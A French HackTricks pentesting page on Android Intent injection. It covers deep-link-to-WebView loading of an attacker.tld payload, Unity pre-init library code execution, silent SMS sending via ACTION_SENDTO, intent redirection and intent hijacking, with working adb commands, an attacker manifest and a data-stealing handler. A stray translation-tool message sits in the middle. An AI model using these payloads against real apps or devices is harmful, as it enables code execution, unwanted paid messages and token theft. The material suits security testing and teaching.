Intent Injection
Reading time: 17 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Intent injection abuse les composants qui acceptent des Intents contrÎlés par un attaquant ou des données qui sont ensuite converties en Intents. Deux schémas trÚs courants lors de pentests d'applications Android sont :
- Envoyer des extras malicieux à des Activities/Services/BroadcastReceivers exportés qui sont ensuite transmis à des composants privilégiés non exportés.
- Déclencher des deep links exportés VIEW/BROWSABLE qui transmettent des URL contrÎlées par l'attaquant vers des WebViews internes ou d'autres sinks sensibles.
Deep links â WebView sink (URL parameter injection)
Si une application expose un deep link avec un schéma personnalisé tel que:
myscheme://com.example.app/web?url=<attacker_url>
et l'Activity rĂ©ceptrice transmet le paramĂštre de requĂȘte url dans un WebView, vous pouvez forcer l'application Ă rendre du contenu distant arbitraire dans son propre contexte WebView.
PoC via adb :
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS s'exécute à l'intérieur du profil WebView de l'app.
- Si JavaScript est activé (par défaut ou à cause de vérifications mal ordonnées), vous pouvez énumérer/utiliser n'importe quel objet exposé
@JavascriptInterface, voler les cookies/local storage du WebView, et pivoter.
See also:
Bug d'ordre des vérifications activant JavaScript
Un bug rĂ©current consiste Ă activer JavaScript (ou d'autres paramĂštres permissifs de WebView) avant que la allowlist/vĂ©rification finale de l'URL ne soit terminĂ©e. Si des helpers prĂ©coces acceptent votre deep link et que le WebView est configurĂ© en premier, votre chargement final se produit avec JavaScript dĂ©jĂ activĂ© mĂȘme si les vĂ©rifications ultĂ©rieures sont dĂ©faillantes ou trop tardives.
Ce qu'il faut rechercher dans le code décompilé :
- Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
- Calls to
getSettings().setJavaScriptEnabled(true)before the last host/path allowlist check. - A pipeline like: parse â partial validate â configure WebView â final verify â loadUrl.
Unity Runtime: Intent-to-CLI extras â pre-init native library injection (RCE)
Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unityâs Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app â and sometimes a website if BROWSABLE is present â can supply this extra.
A dangerous, undocumented flag leads to native code execution during very early process initialization:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)very early in init, loading attacker-controlled ELF inside the target appâs process with its UID and permissions.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Pourquoi cela fonctionne
- L'extra Intent
unityest analysé en tant que flags d'exécution Unity. - La fourniture du flag
pre-initoriente Unity vers un chemin ELF contrÎlé par l'attaquant situé dans un namespace autorisé du linker (voir contraintes ci-dessous).
Conditions d'exploitation
- L'Activity d'entrée Unity est exportée (généralement vrai par défaut).
- Pour une exploitation à distance en un clic via le navigateur : l'Activity d'entrée déclare également
android.intent.category.BROWSABLEafin que des extras puissent ĂȘtre transmis depuis une URLintent:.
Exploitation locale (mĂȘme appareil)
- Placez un payload ELF Ă un chemin lisible par l'application victime. Le plus simple : incluez une bibliothĂšque malveillante dans votre propre application attaquante et assurez-vous qu'elle est extraite sous
/data/app/.../lib/<abi>/en configurant dans le manifest de l'attaquant :
<application android:extractNativeLibs="true" ...>
- Lancez l'Activity Unity de la victime avec le pre-init flag de la CLI dans l'extra
unity. Exemple ADB PoC :
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity appelle
dlopen("/data/.../libpayload.so", RTLD_NOW); votre payload s'exécute dans le processus victime, héritant de toutes ses permissions d'application (caméra/micro/réseau/stockage, etc.) et accédant aux sessions/données in-app.
Remarques
- Le chemin exact
/data/app/...varie selon les appareils/installations. Une application malveillante peut récupérer son propre répertoire natif de libs à l'exécution viagetApplicationInfo().nativeLibraryDiret le communiquer au trigger. - Le fichier n'a pas besoin de se terminer par
.sos'il s'agit d'un ELF valide âdlopen()se soucie des en-tĂȘtes ELF, pas des extensions.
Remote oneâclick via browser (conditional)
Si l'activity d'entrée Unity est exportée avec BROWSABLE, un site web peut passer des extras via une URL intent: :
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Cependant, sur les versions modernes d'Android, les dynamic linker namespaces et SELinux empĂȘchent le chargement depuis de nombreux chemins publics (par ex., /sdcard/Download). Vous verrez des erreurs comme :
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Stratégie de contournement : cibler les apps qui mettent en cache des octets contrÎlés par l'attaquant dans leur stockage privé (par ex., HTTP caches). Comme les chemins autorisés incluent /data et le répertoire privé de l'application, pointer -xrsdk-pre-init-library vers un chemin absolu à l'intérieur du cache de l'application peut satisfaire les contraintes du linker et permettre l'exécution de code. Cela fait écho aux précédents schémas cache-to-ELF RCE observés dans d'autres applications Android.
ConfusedâDeputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
Certaines applications de messagerie par dĂ©faut exĂ©cutent incorrectement automatiquement des intents de messagerie implicites, les transformant en confusedâdeputy primitive : toute application non privilĂ©giĂ©e peut dĂ©clencher Intent.ACTION_SENDTO avec sms:, smsto:, mms:, ou mmsto: et provoquer un envoi immĂ©diat sans interface de confirmation et sans la permission SEND_SMS.
Points clés
- Déclencheur :
ACTION_SENDTOimplicite + schéma d'URI de messagerie. - Données : définir le destinataire dans l'URI, texte du message dans l'extra
"sms_body". - Permissions : aucune (pas de
SEND_SMS), repose sur le gestionnaire SMS/MMS par dĂ©faut. - ObservĂ© : Google Messages for Wear OS (corrigĂ© en mai 2025). D'autres gestionnaires doivent ĂȘtre Ă©valuĂ©s de la mĂȘme maniĂšre.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (sans autorisations spéciales)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Extension de la surface d'attaque (Wear OS)
- Tout composant capable de lancer des activitĂ©s peut dĂ©clencher le mĂȘme payload : Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Si le handler par dĂ©faut envoie automatiquement, l'abus peut ĂȘtre oneâtap ou totalement silencieux depuis des contextes en arriĂšre-plan selon les politiques OEM.
Pentest checklist
- Résoudre
ACTION_SENDTOsur la cible pour identifier le handler par défaut ; vérifier s'il affiche une UI de composition ou s'il envoie silencieusement. - Tester les quatre schémas (
sms:,smsto:,mms:,mmsto:) et les extras (sms_body, éventuellementsubjectpour MMS) pour vérifier les différences de comportement. - Prendre en compte les destinations payantes / numéros surtaxés lors des tests sur appareils réels.
Other classic Intent injection primitives
- startActivity/sendBroadcast utilisant des extras
Intentfournis par l'attaquant qui sont ensuite reparsĂ©s (Intent.parseUri(...)) et exĂ©cutĂ©s. - Composants proxy exportĂ©s qui transmettent des Intents vers des composants sensibles nonâexportĂ©s sans vĂ©rification des permissions.
Automating exported-component testing (Smali-driven ADB generation)
Quand des composants exportĂ©s attendent des extras spĂ©cifiques, deviner la forme du payload provoque une perte de temps et des faux nĂ©gatifs. Vous pouvez automatiser la dĂ©couverte des clĂ©s/types directement depuis Smali et gĂ©nĂ©rer des commandes adb prĂȘtes Ă l'exĂ©cution.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile and scan Smali for calls like
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()to infer which extras and fields are consumed by each component. - Output: Pour chaque Activity/Service/Receiver/Provider exporté, l'outil affiche une courte explication et la commande exacte
adb shell am .../cmd content ...avec les flags correctement typés.
Installer
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Utilisation
python apk-components-inspector.py target.apk
Je n'ai pas le contenu du fichier src/mobile-pentesting/android-app-pentesting/intent-injection.md.
Veuillez coller ici le contenu Markdown à traduire (ou autoriser l'accÚs au texte). Je traduirai tout en respectant exactement la syntaxe Markdown/HTML et les rÚgles indiquées.
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
Fiche aide-mémoire ADB am extras (options sensibles au type)
- ChaĂźnes :
--es key value| Tableau de chaĂźnes :--esa key v1,v2 - Entiers :
--ei key 123| Tableau d'entiers :--eia key 1,2,3 - Booléens :
--ez key true|false - Longs :
--el key 1234567890 - Floats :
--ef key 1.23 - URI (extra) :
--eu key content://...| Data URI (Intent data) :-d content://... - Extra composant :
--ecn key com.pkg/.Cls - Extra chaĂźne nulle :
--esn key - Flags courants :
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro tips pour les ContentProviders
- Utilisez
adb shell cmd content query|insert|update|delete ...pour cibler les ContentProviders sans agents. - Pour tester une SQLi, variez
--projectionet--where(aka selection) lorsque le provider sous-jacent est basé sur SQLite.
Automatisation de bout en bout (exécuteur interactif)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script d'aide pour analyser et exécuter des commandes adb
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
ExĂ©cuter sur l'appareil : l'inspecteur est basĂ© sur Python et fonctionne dans Termux ou sur des tĂ©lĂ©phones rootĂ©s oĂč apktool/androguard sont disponibles.
Intent Redirection (CWE-926) â dĂ©couverte et exploitation
Motif
- Un point d'entrée exporté (Activity/Service/Receiver) lit un Intent entrant et le transmet en interne ou en externe sans valider la source/les données, p.ex. :
startActivity(getIntent())startActivity(intent)oĂčintentprovient d'un extra commeredirect_intent/next_intent/pending_intentouIntent.parseUri(...).- Faire confiance aux champs
action/data/componentsans vérification ; ne pas vérifier l'identité de l'appelant.
Que chercher dans Smali/Java
- Utilisations de
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Appels directs de
startActivity(...),startService(...),sendBroadcast(...)sur des Intents influencés par un attaquant. - Absence de vérifications
getCallingPackage()/getCallingActivity()ou de contrÎles par permissions personnalisées.
ADB PoC templates
- Activité proxy redirigeant un Intent supplémentaire vers une Activity interne privilégiée :
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Service exporté qui accepte un parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Récepteur exporté qui relaie sans validation :
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags utiles pour un comportement de type singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Exemples réels (impact variable) :
- CVE-2024-26131 (Element Android) : flux exportés conduisant à manipulation de WebView, contournement de PIN, login hijack.
- CVE-2023-44121 (LG ThinQ Service) : action de receiver exportée
com.lge.lms.things.notification.ACTIONâ effets au niveau systĂšme. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00) : redirection â accĂšs arbitraire aux fichiers (avec interaction utilisateur).
- CVE-2022-36837 (Samsung Email < 6.1.70.20) : implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
ModĂšle de menace
- App A attend un résultat sensible de App B en utilisant un implicit Intent (par ex., un OAuth redirect, un document picker result, un IMAGE_CAPTURE return, ou une custom callback action).
- Attacker App C publie un composant exporté avec un
<intent-filter>correspondant pour la mĂȘmeaction/category/data. Lorsque B rĂ©sout l'implicit Intent, le resolver peut afficher un chooser ; si l'utilisateur choisit C (ou le dĂ©finit comme dĂ©faut), le payload est livrĂ© au composant attaquant au lieu de A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Squelette du handler:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Remarques
- Match specificity matters (action + categories + data). The more specific Câs filter is to Bâs outgoing Intent, the higher the chance it is shown or auto-selected.
- Cela s'applique aussi aux deep links (
VIEW+BROWSABLE) lorsque des applications attendent qu'une autre application gĂšre une URL et renvoie quelque chose.
Pentest guidance
- Grep la cible pour
startActivity/startActivityForResult/registerForActivityResultcalls utilisant des Intents non-explicites. - Inspecter les Intents transportant des tokens dans
extras,clipData, ougetData()et vérifier si un tiers pourrait enregistrer un filtre compatible. - Recommander de remplacer les flux implicites par des Intents explicites (set
setPackage()/setComponent()), ou d'exiger caller-permission/signed permissions sur les receivers/services exportés.
Contremesures
- Préférez les Intents explicites pour les flux sensibles (callbacks, tokens, auth results).
- Quand le cross-app est nécessaire, ajoutez des exigences de permission au composant récepteur et validez l'identité de l'appelant.
- Limitez et resserrez les Intent filters pour ne conserver que ce qui est strictement nécessaire (scheme/host/path/MIME).
Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
Lorsque vous contrÎlez l'expéditeur, ajoutez Intent.FLAG_DEBUG_LOG_RESOLUTION à un Intent implicite pour que Android consigne comment la résolution se déroule et quel composant sera sélectionné.
Example:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Ce que vous verrez dans adb logcat est la trace de résolution et le composant final, par ex. com.android.camera2/com.android.camera.CaptureActivity.
Astuce CLI
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Utile pour énumérer les gestionnaires candidats sur un appareil/émulateur et confirmer exactement quel composant recevra un Intent lors des tests.
Références
- Android â Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector â GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab â 100M installs image app deep dive (component summary example)
- CVE-2024-26131 â NVD
- CVE-2023-44121 â CVE.org
- CVE-2023-30728 â CVE.org
- CVE-2022-36837 â CVE.org
- CVE-2021-4438 â NVD
- CVE-2020-14116 â NVD
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Android Intent reference
- CVE-2025-59489 â Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs â Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk â Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 â Intent Abuse in Google Messages for Wear OS
- PoC repo â io-no/CVE-2025-12080
- Android docs â Intents and Intent Filters
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks